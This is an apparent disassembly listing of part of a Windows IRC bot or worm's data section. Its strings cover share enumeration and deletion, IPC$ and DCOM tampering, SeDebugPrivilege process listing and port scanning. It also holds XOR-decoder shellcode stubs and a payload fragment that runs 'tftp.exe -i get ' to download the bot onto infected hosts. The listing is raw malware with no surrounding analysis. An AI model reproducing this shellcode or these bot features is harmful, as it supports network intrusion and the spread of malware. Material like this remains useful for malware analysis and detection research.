aUserListErrorS db ' User list error: %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4139F5+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_413B75:loc_413C92o
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_413B75:loc_413C8Bo
align 10h
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_413B75:loc_413C84o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_413B75:loc_413C7Do
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_413B75:loc_413C76o
align 10h
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_413B75:loc_413C59o
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_413B75:loc_413C52o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_413B75:loc_413C4Bo
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_413B75+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_413B75:loc_413C20o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_413B75:loc_413C19o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_413B75:loc_413C12o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413B75:loc_413C08o
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_413B75+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_413B75:loc_413BE2o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_413B75:loc_413BD8o
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_413B75:loc_413BCEo
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_413B75:loc_413BC4o
align 10h
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_413B75:loc_413BBAo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_413B75+3Bo
align 4
dword_4373FC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413CA9+ABo
dd 2029206Ch, 2BBBB02h
aSServerSMessag db ' %s <Server: %S> <Message: %S>',0
dword_437438 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413CA9+81o
dd 2029206Ch, 2BBBB02h
aMessageSentSuc db ' Message sent successfully.',0
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_413DD2+120o
align 10h
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_413DD2+5Ao
; sub_413DD2+19Eo
align 4
dword_437494 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413F83:loc_41400Ao
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai db ' Process list failed.',0
align 4
dword_4374CC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413F83+80o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom db ' Process list completed.',0
align 4
dword_437508 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413F83+19o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
dd 72702067h, 7365636Fh, 3A736573h, 0
aConst db 'const',0
align 4
dd 0
dword_43754C dd 1 ; DATA XREF: sub_414433+7o
off_437550 dd offset sub_4140C8 ; DATA XREF: sub_414433+49r
aLetter db 'letter',0
align 10h
dd 2, 414126h, 706D6F63h, 2 dup(0)
dd 3, 414173h, 6E756F63h, 797274h, 0
dd 4, 414211h, 736Fh, 2 dup(0)
dd 5, 414286h
dword_4375A4 dd 69257325h, 0 ; DATA XREF: sub_4140C8+40o
; .nsp0:004141F2o ...
byte_4375AC db 50h ; DATA XREF: .nsp0:00414195o
; .nsp0:004141A2r
db 43h, 2 dup(0)
dword_4375B0 dd 7C7325h ; DATA XREF: .nsp0:00414240o
; sub_414433+39o
dword_4375B4 dd 5D73255Bh, 7Ch ; DATA XREF: .nsp0:0041434Ao
dword_4375BC dd 334B32h ; DATA XREF: .nsp0:0041433Ao
dword_4375C0 dd 5D64255Bh, 7325h ; DATA XREF: sub_414390+3Ao
dword_4375C8 dd 5D4D5Bh ; DATA XREF: sub_414390+2Co
; sub_414390+57o
unk_4375CC db 2 ; DATA XREF: sub_41449C+92o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0
unk_437608 db 2 ; DATA XREF: sub_414569+41o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0
align 4
off_437648 dd offset dword_437680 ; DATA XREF: sub_4146BA+1B3o
; sub_4149DE+17Ao
align 10h
dd offset dword_437678
align 8
off_437658 dd offset dword_437674 ; DATA XREF: sub_4149DE+1E3o
dd offset dword_437670
dd offset dword_43766C
dd offset dword_437668
dword_437668 dd 5C3A44h ; DATA XREF: sub_4146BA+217o
; .nsp0:00437664o
dword_43766C dd 2444h ; DATA XREF: .nsp0:00437660o
dword_437670 dd 5C3A43h ; DATA XREF: .nsp0:0043765Co
dword_437674 dd 2443h ; DATA XREF: .nsp0:off_437658o
dword_437678 dd 494D4441h, 244Eh ; DATA XREF: .nsp0:00437650o
dword_437680 dd 24435049h, 0 ; DATA XREF: .nsp0:off_437648o
unk_437688 db 2 ; DATA XREF: sub_4146BA+2E5o
; sub_4149DE+2D8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_4376CC db 2 ; DATA XREF: sub_4146BA+2CFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesD db ' Network shares deleted.',0
align 4
unk_437708 db 2 ; DATA XREF: sub_4146BA:loc_41491Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0
align 4
unk_437748 db 2 ; DATA XREF: sub_4146BA+25Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0
align 10h
unk_437780 db 2 ; DATA XREF: sub_4146BA:loc_414889o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0
align 10h
unk_4377C0 db 2 ; DATA XREF: sub_4146BA+1C8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0
align 4
unk_4377F8 db 2 ; DATA XREF: sub_4146BA:loc_4147ECo
; sub_4149DE:loc_414B0Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_43783C db 2 ; DATA XREF: sub_4146BA:loc_4147E5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0
align 4
unk_43788C db 2 ; DATA XREF: sub_4146BA:loc_4147C7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aRestrictedAcce db ' Restricted access to the IPC$ Share.',0
align 4
unk_4378D4 db 2 ; DATA XREF: sub_4146BA+106o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_4146BA+EDo
; sub_4149DE+EDo
align 4
unk_437938 db 2 ; DATA XREF: sub_4146BA+91o
; sub_4149DE+91o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenDc db ' Failed to open DCOM registry key.',0
align 4
dword_43797C dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_4146BA:loc_414727o
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh
dd 6C626173h, 2E6465h
unk_4379AC db 2 ; DATA XREF: sub_4146BA+66o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDisableDcomFai db ' Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_4146BA+54o
; sub_4149DE+54o
align 10h
word_4379F0 dw 4Eh ; DATA XREF: sub_4146BA+38r
align 4
unk_4379F4 db 2 ; DATA XREF: sub_4149DE+2C0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesA db ' Network shares added.',0
align 4
aC_2 db '%c:\',0 ; DATA XREF: sub_4149DE+22Ao
align 4
aC_3 db '%c$',0 ; DATA XREF: sub_4149DE+219o
unk_437A38 db 2 ; DATA XREF: sub_4149DE:loc_414B7Do
; sub_4149DE:loc_414C4Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0
align 4
unk_437A74 db 2 ; DATA XREF: sub_4149DE+198o
; sub_4149DE+266o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0
align 4
unk_437AA8 db 2 ; DATA XREF: sub_4149DE:loc_414B05o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0
align 4
unk_437AF8 db 2 ; DATA XREF: sub_4149DE:loc_414AE7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0
unk_437B40 db 2 ; DATA XREF: sub_4149DE+102o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0
dword_437B90 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_4149DE:loc_414A4Bo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6E65204Dh
dd 656C6261h, 2E64h
unk_437BC0 db 2 ; DATA XREF: sub_4149DE+66o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aEnableDcomFail db ' Enable DCOM failed.',0
align 4
word_437BF8 dw 59h ; DATA XREF: sub_4149DE+38r
align 4
loc_437BFC: ; DATA XREF: sub_414E8C+C4o
jmp short loc_437C00
; ---------------------------------------------------------------------------
loc_437BFE: ; CODE XREF: .nsp0:loc_437C00p
jmp short loc_437C05
; ---------------------------------------------------------------------------
loc_437C00: ; CODE XREF: .nsp0:loc_437BFCj
call loc_437BFE
loc_437C05: ; CODE XREF: .nsp0:loc_437BFEj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_437C0A dw 0FFFFh ; DATA XREF: sub_414E8C+CCw
db 80h, 73h, 0Eh
byte_437C0F db 0FFh ; DATA XREF: sub_414E8C+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_437C14: ; DATA XREF: sub_414E8C+A2o
jmp short loc_437C18
; ---------------------------------------------------------------------------
loc_437C16: ; CODE XREF: .nsp0:loc_437C18p
jmp short loc_437C1D
; ---------------------------------------------------------------------------
loc_437C18: ; CODE XREF: .nsp0:loc_437C14j
call loc_437C16
loc_437C1D: ; CODE XREF: .nsp0:loc_437C16j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_437C21 db 0FFh ; DATA XREF: sub_414E8C+AAw
dw 7380h
db 0Ch
byte_437C25 db 0FFh ; DATA XREF: sub_414E8C+B0w
dw 0E243h
dd 0F9h
dword_437C2C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_414D15+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_437C90 dd 12h ; DATA XREF: sub_414D15+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_414D15+79o
aJ_0 db 'j',0
db 0E8h
dword_437CA9 dd 17h ; DATA XREF: sub_414D15+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_437CB0
retn
; ---------------------------------------------------------------------------
byte_437CB0 db 0E8h ; CODE XREF: .nsp0:00437CADj
dword_437CB1 dd 1 ; DATA XREF: sub_414D15+45w
byte_437CB5 db 0, 6Ah, 0 ; DATA XREF: sub_414D15+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_437CBF dd 0FFFFFFEDh ; DATA XREF: sub_414D15+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_415050+10o
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_415221+51o
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415221+35o
dword_437D40 dd 1 ; DATA XREF: sub_415539+4w sub_415543r ...
align 10h
dword_437D50 dd 173Fh ; DATA XREF: sub_415E6C+Dr
dd 9875h, 9873h
off_437D5C dd offset sub_415F3B ; DATA XREF: sub_4177FAr
dd offset nullsub_2
dd offset nullsub_2
dword_437D68 dd 1B3Fh ; DATA XREF: sub_415FB3+Dr
dword_437D6C dd 19930520h, 4 dup(0) ; DATA XREF: sub_416435+2o
; sub_41643E+2o
off_437D80 dd offset sub_417838 ; DATA XREF: sub_417BEE+1Cr
dword_437D84 dd 2 ; DATA XREF: sub_41CEE0+Er
; sub_41CF19+46r ...
off_437D88 dd offset aNull_0 ; DATA XREF: sub_417D4C:loc_4180B0r
; sub_417D4C+457r
; "(null)"
off_437D8C dd offset aNull ; DATA XREF: sub_417D4C+259r
; "(null)"
off_437D90 dd offset word_437D9A ; DATA XREF: sub_4159D4+23r
; sub_4159D4:loc_415A35r ...
dd offset word_437D9A
db 2 dup(0)
word_437D9A dw 20h ; DATA XREF: sub_41E6BD+18r
; .nsp0:off_437D90o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_437F9C dd 1 ; DATA XREF: sub_4159D4:loc_4159DCr
; sub_4159D4:loc_415A20r ...
byte_437FA0 db 2Eh ; DATA XREF: sub_419F18:loc_419F58r
; .nsp0:00419F76r ...
align 4
dd 1, 10h
dword_437FAC dd 3F8h ; DATA XREF: sub_415E07+5r
; sub_4174DF+4Dr ...
dword_437FB0 dd 14h ; DATA XREF: sub_419C61+2o
off_437FB4 dd offset aExp ; DATA XREF: sub_419C61:loc_419C7Er
; "exp"
dd 1Dh, 4217A4h, 1Ah, 4217A0h, 1Bh, 421798h, 1Fh, 421790h
dd 13h, 421788h, 21h, 421780h, 0Eh, 421778h, 0Dh, 421770h
dd 0Fh, 421768h, 10h, 421760h, 5, 421758h, 1Eh, 421754h
dd 12h, 421750h, 20h, 42174Ch, 0Ch, 421744h, 0Bh, 42173Ch
dd 15h, 421734h, 1Ch, 42172Ch, 19h, 421724h, 11h, 42171Ch
dd 18h, 421714h, 16h, 42170Ch, 17h, 421704h, 22h, 421700h
dd 23h, 4216FCh, 24h, 4216F8h
dbl_438088 dq 1.797693134862316e308 ; DATA XREF: sub_41999C+B7r
; sub_41999C:loc_419A83r ...
dd 0
dd 0FFF80000h
dbl_438098 dq 1.797693134862316e308 ; DATA XREF: sub_41999C+92r
; sub_41999C:loc_419A5Br ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_4380B0 dt 2.3562723457267347066e313 ; DATA XREF: sub_419E49+Dr
; sub_419E49+1Fr
align 4
tbyte_4380BC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419E49+31r
align 4
off_4380C8 dd offset sub_41DEF9 ; DATA XREF: sub_415F53+Fw
; sub_417D4C+3AAr
off_4380CC dd offset sub_41DEF9 ; DATA XREF: sub_415F53+5w
; sub_417D4C+3E2r
off_4380D0 dd offset sub_41DEF9 ; DATA XREF: sub_415F53+14w
; sub_41AD3D+430r
off_4380D4 dd offset sub_41DEF9 ; DATA XREF: sub_415F53+1Ew
; sub_417D4C+3CBr
off_4380D8 dd offset sub_41DEF9 ; DATA XREF: sub_415F53+28w
off_4380DC dd offset sub_41DEF9 ; DATA XREF: sub_415F53+32w
dd offset sub_41DF02
align 10h
dd offset sub_41AB9C
off_4380F4 dd offset sub_41AB9C ; DATA XREF: sub_41ABF2+29r
dword_4380F8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41AD3D:loc_41B2A4o
dword_438100 dd 5Dh, 0 ; DATA XREF: sub_41AD3D:loc_41B194o
byte_438108 db 1 ; DATA XREF: sub_41BFC0+E1r
db 2, 4, 8
align 10h
dword_438110 dd 3A4h ; DATA XREF: sub_41BFC0+2Fo
dword_438114 dd 82798260h, 21h, 0 ; DATA XREF: sub_41BFC0+11Dr
dword_438120 dd 0DFA6h ; DATA XREF: sub_41BFC0+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_438200 dd 1 ; DATA XREF: sub_41BFC0+3Co
; sub_41C5D7+Co
dword_438204 dd 16h ; DATA XREF: sub_41C5D7:loc_41C60Cr
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_438368 dd 0C0000005h ; DATA XREF: sub_41C5D7+19o
; sub_41C77F+Ar ...
dword_43836C dd 0Bh ; DATA XREF: sub_41F3C4+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_4383E0 dd 3 ; DATA XREF: sub_41C63E+58r
; sub_41F297+C8r
dword_4383E4 dd 7 ; DATA XREF: sub_41C63E+5Er
; sub_41F297+CDr
dword_4383E8 dd 0Ah ; DATA XREF: sub_41C77F+4r
; sub_41F3C4+4r
dword_4383EC dd 8Ch ; DATA XREF: sub_41C63E+82r
; sub_41C63E+8Fw ...
dword_4383F0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_417C37:loc_417CF4o
; sub_41B8B0:loc_41B931o
dword_4383F8 dd 2 ; DATA XREF: sub_41CF19+Eo
; sub_41CF19+28r
off_4383FC dd offset aR6002FloatingP ; DATA XREF: sub_41CF19+FCr
; sub_41CF19+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 421AC4h, 9, 421A98h, 0Ah, 421A74h, 10h, 421A48h
dd 11h, 421A18h, 12h, 4219F4h, 13h, 4219C8h, 18h, 421990h
dd 19h, 421968h, 1Ah, 421930h, 1Bh, 4218F8h, 1Ch, 4218D0h
dd 78h, 4218C0h, 79h, 4218B0h, 7Ah, 4218A0h, 0FCh, 4269FCh
dd 0FFh, 421890h
off_438488 dd offset dword_4697C0 ; DATA XREF: sub_41CF19+1Bo
; sub_41D0D6+55o
align 10h
dd offset dword_4697C0
dd 101h
dword_438498 dd 2 dup(0) ; DATA XREF: sub_41D0D6+72o
dd 1000h, 0
dword_4384A8 dd 3 dup(0) ; DATA XREF: sub_417C37+50o
; sub_4187B6+12o
dd 2, 1, 3 dup(0)
dword_4384C8 dd 3 dup(0) ; DATA XREF: sub_417C37+58o
; sub_4187B6:loc_4187D4o
dd 2 dup(2), 7 dup(0)
dword_4384F8 dd 84h dup(0) ; DATA XREF: sub_41D0D6+9Bo
dword_438708 dd 2694h ; DATA XREF: sub_4195FE+3r
; sub_419651+46r ...
align 10h
dword_438710 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_41DCE2o
dword_438728 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41DCF8o
dword_438740 dd 7080h ; DATA XREF: sub_41B7EE+76r
; sub_41E162+5Ew ...
dword_438744 dd 1 ; DATA XREF: sub_41B7EE+98r
; sub_41E162+8Bw ...
dword_438748 dd 0FFFFF1F0h ; DATA XREF: sub_41B7EE:loc_41B8A0r
; sub_41E162+94w ...
dword_43874C dd 545350h, 0Fh dup(0) ; DATA XREF: .nsp0:off_4387CCo
dword_43878C dd 544450h, 0Fh dup(0) ; DATA XREF: .nsp0:off_4387D0o
off_4387CC dd offset dword_43874C ; DATA XREF: sub_41E162+BAr
; sub_41E162+D9r ...
off_4387D0 dd offset dword_43878C ; DATA XREF: sub_41E162+F4r
; sub_41E162+11Br ...
align 8
dword_4387D8 dd 0FFFFFFFFh ; DATA XREF: sub_41E162+1Dw
; sub_41E3C0+1Er ...
dword_4387DC dd 0 ; DATA XREF: sub_41E3C0:loc_41E4F4r
; sub_41E56C+BFw
dword_4387E0 dd 0 ; DATA XREF: sub_41E3C0+192r
; sub_41E56C+E0w
align 8
dword_4387E8 dd 0FFFFFFFFh ; DATA XREF: sub_41E162+17w
; sub_41E3C0+26r ...
dword_4387EC dd 0 ; DATA XREF: sub_41E3C0+13Ar
; sub_41E56C+EAw ...
dword_4387F0 dd 0 ; DATA XREF: sub_41E3C0+1A1r
; sub_41E56C+23r ...
dword_4387F4 dd 0FFFFFFFFh ; DATA XREF: sub_41E56C+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_438824 dd 16Dh ; DATA XREF: sub_41B7EE+2Ar
; sub_41E56C+2Er ...
dword_438828 dd 0FFFFFFFFh ; DATA XREF: sub_41E56C:loc_41E5F8r
